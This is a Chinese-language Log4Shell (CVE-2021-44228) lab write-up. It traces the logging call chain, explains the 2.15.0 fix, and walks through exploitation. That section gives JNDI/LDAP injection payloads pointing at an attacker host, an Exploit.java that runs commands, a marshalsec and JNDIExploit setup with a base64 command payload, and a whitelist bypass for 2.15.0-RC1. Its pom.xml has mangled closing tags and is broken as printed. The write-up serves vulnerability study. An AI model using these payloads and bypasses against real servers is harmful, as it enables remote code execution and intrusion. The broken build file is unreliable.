Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)
Apache Log4j2 远程代码执行漏洞< 2.15.0(CVE-2021-44228)
0x01 漏洞简介
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。 在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。
0x02 影响版本
引用了版本处于2.x < 2.15.0的 Apache log4j-core的应用项目或组件
0x03 环境搭建
docker run -d -P vulfocus/log4j2-rce-2021-12-09
0x04 漏洞分析
测试代码如下：
//src/main/java/log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//The default trusturlcodebase of the higher version JDK is false
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://192.168.237.130:1389/Exploitwin}");
}
}
#pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0modelVersion>
<groupId>org.examplegroupId>
<artifactId>log4j-rceartifactId>
<version>1.0-SNAPSHOTversion>
<properties>
<maven.compiler.source>6maven.compiler.source>
<maven.compiler.target>1.6maven.compiler.target>
properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.14.1version>
dependency>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-apiartifactId>
<version>2.14.1version>
dependency>
dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.pluginsgroupId>
<artifactId>maven-surefire-pluginartifactId>
<version>2.19.1version>
plugin>
<plugin>
<artifactId>maven-assembly-pluginartifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-allfinalName>
<appendAssemblyId>falseappendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependenciesdescriptorRef>
descriptorRefs>
configuration>
<executions>
<execution>
<id>make-assemblyid>
<phase>packagephase>
<goals>
<goal>singlegoal>
goals>
execution>
executions>
plugin>
plugins>
build>
project>
根据官方的修订信息：https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues
可以知道，是通过 jndi 中 LDAP 注入的方式实现了 RCE
JNDI lookup 的用法：
JndiLookup 允许通过 JNDI 检索变量，然后给了示例：
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%npattern>
PatternLayout>
File>
实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下：
${jndi:JNDIContent}
既然明确了lookup是触发漏洞的点，并且找到了可以触发 lookup的方法 ，那么就可以找入口点，只要找到入口点，然后传入 jndi 调用 ldap 的方式，就能够实现 RCE。
那么，哪一个入口点可以传入${jndi:JNDIContent}呢？
没错了，就是LogManager.getLogger().xxxx()方法
在log4j2中，共有8 个日志级别，可以通过LogManager.getLogger()调用记录日志的方法如下：
LogManager.getLogger().error()
LogManager.getLogger().fatal()
LogManager.getLogger().trace()
LogManager.getLogger().traceExit()
LogManager.getLogger().traceEntry()
LogManager.getLogger().info()
LogManager.getLogger().warn()
LogManager.getLogger().debug()
LogManager.getLogger().log()
LogManager.getLogger().printf()
上述列表中，error()和fatal()方法可默认触发漏洞，其余的方法需要配置日志级别才可以触发漏洞。
只有当当前事件的日志等级大于等于设置的日志等级时，才会符合条件，进入logMessage()方法
由于这些调用方法触发漏洞的原理都是一样的，所以本文就以 error 举例说明。
查看 error 的类继承关系可以发现，实际上会调用AbstractLogger.java中的public void error()方法：
根据传参为 String message找到了AbstractLogger.java 中会触发的error方法
在logIfEnabled方法中，对当前日志等级进行了一次判断：
如果符合，那么会进行logMessage操作：
后续不关键调用路径如下：
logMessage ---->
logMessageSafely ---->
logMessageTrackRecursion ---->
tryLogMessage ---->
log
不动态调试的情况下跟log方法会到AbstractLogger.log方法，实际上这里是org.apache.logging.log4j.core.Logger.log方法
跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
进入LoggerConfig.log方法,后续调用链如下
loggerConfig.log ---->
log ---->
processLogEvent ---->
callAppenders---->
AppenderControl.callAppender ---->
tryCallAppender ---->
AbstractOutputStreamAppender.append ---->
tryAppend ---->
directEncodeEvent ---->
PatternLayout.encode ---->
toText ---->
toSerializable ---->
format
这里的formatters方法包含了多个formatter对象，其中出发漏洞的是第8个，其中包含MessagePatternConverter
继续跟着代码走下去，走到了MessagePatternCoverter文件的format函数下；
如果检测到$字符后跟了一个{字符，那么会对直到}中间的内容进行解析并replace。
继续跟进就进入到了 StrSubstitutor的substitute函数下
这里就是漏洞发生的主要部分了，基本上是递归处理里面的语法内容，还有一些内置的语法
prefixMatcher是${
suffixMatcher是}
其实这里是触发漏洞的必要条件，通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info变量导致这里变成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法
进过语法处理，varname会被修改为对应语法的对应部分（重要绕过），最后会进入resolveVariable()方法中
而resolveVariable这里则直接根据不同的协议进入相应的lookup，其中jndi.lookup就会导致漏洞，而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}
在Interpolator.lookup方法中，首先会获取字符串的前缀值：
如果匹配到内置方法，那么就进入对应的处理方法，这里是 JNDI 方法，那么就会由JndiLookup类进一步处理：
最终加载由攻击者传入的LDAP服务端地址，然后返回一个恶意的JNDI Reference对象，触发漏洞，实现 RCE。
编写利用类
因为利用ldap方式进行命令执行，首先要编写最后的命令执行代码。
Exploit.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{
public Exploit() throws IOException,InterruptedException{
String cmd="touch /tmp/xxx";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
编译代码后，
javac Exploit.java
开启HTTP服务
python -m http.server
开启ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1
0x05 漏洞复现
使用JNDIExploit工具，这个工具比marshalsec方便，支持直接植入内存shell，并集成了常见的bypass 高版本JDK的方式，适用于与自动化工具配合使用。
下载地址：https://github.com/WhiteHSBG/JNDIExploit
启动一个使用下载好的JNDIExploit-1.4-SNAPSHOT.jar启动一个服务LDAP 绑定 1389 HTTP Server 绑定3456，-i指定我们的远程服务器
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...
向存在漏洞的位置进行传参
${jndi:ldap://192.168.237.130:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC9zdWNjZXNz}
将poc进行url编码
因为执行的命令中有特殊字符，所以使用base64编码后再放入poc，执行的命令是touch /tmp/success
在存在漏洞的位置进行传参
同时我们的攻击机会返回数据，表示命令执行成功
查看靶机就会发现已经执行了我们的命令
0x06 后续修复和绕过
其实查看Log4j2最新提交的代码(https://github.com/apache/logging-log4j2)，咱们很容易就能看到其修复方法。
官方主要通过两个途径来修复该问题：新增jndi开关（默认关闭）和新增jndi相关域名、协议和Class白名单。
A、新增消息的Lookup开关(默认关闭)
在消息处理类MessagePatternConverter中增加了Lookup开关，通过lookups参数来控制。默认为false。 即默认消息中不解析${}配置。在2.15.0之前的版本，默认MessagePatternConverter会对消息进行lookup操作（具体请参考2.14.1的MessagePatternConverter类实现）。
但是我们可以通过在日志patter中新增lookups来开启消息中的lookup功能。
B、新增白名单
如果使用者通过配置lookups主动开启了消息查找功能。官方也为我们提供了另外一道屏障来解决该注入漏洞。官方使用了一个比较简单的办法，即给协议、class和域名都添加白名单。这样只要使用者合理的使用都不会有问题。
默认白名单的协议：JAVA、LDAP、LDAPS
默认白名单的域名：localhost
默认白名单支持的类：基本类型对应的对象。
在JndiManager执行lookup的时候，其会校验对应的白名单。
实际上拦住Payload是在最后一处OBJECT_FACTORY判断
2.15.0-RC1版本为何会被绕过
这个版本的绕过其实很有意思。原因是因为在JndiManager.lookup的方法中，当执行各类白名单过滤操作中，如果抛出异常。在RC1的版本中，其没有做任何处理，导致只要抛出异常就能够正常的执行后续的lookup逻辑。从而绕过了白名单检测。
于是后续做了修正，只要抛出异常就直接返回null。
那么我们可以如何绕过呢? 这里我们参考了文章安全漏洞之Log4j2漏洞复现绕过分析。通过URI中不进行URL编码会报报错URISyntaxException，在URL中添加一个空格即可触发，比如：${jndi:ldap://127.0.0.1:1389/ badClassName}。虽然对空格做编码导致异常，但是lookup时候会去掉这个空格，所以异常之后后续的lookup也能够正常执行。（需要用户开启lookup功能的基础上才可以）
参考链接
https://blog.csdn.net/hilaryfrank/article/details/121939754
https://baijiahao.baidu.com/s?id=1718946520876495065&wfr=spider&for=pc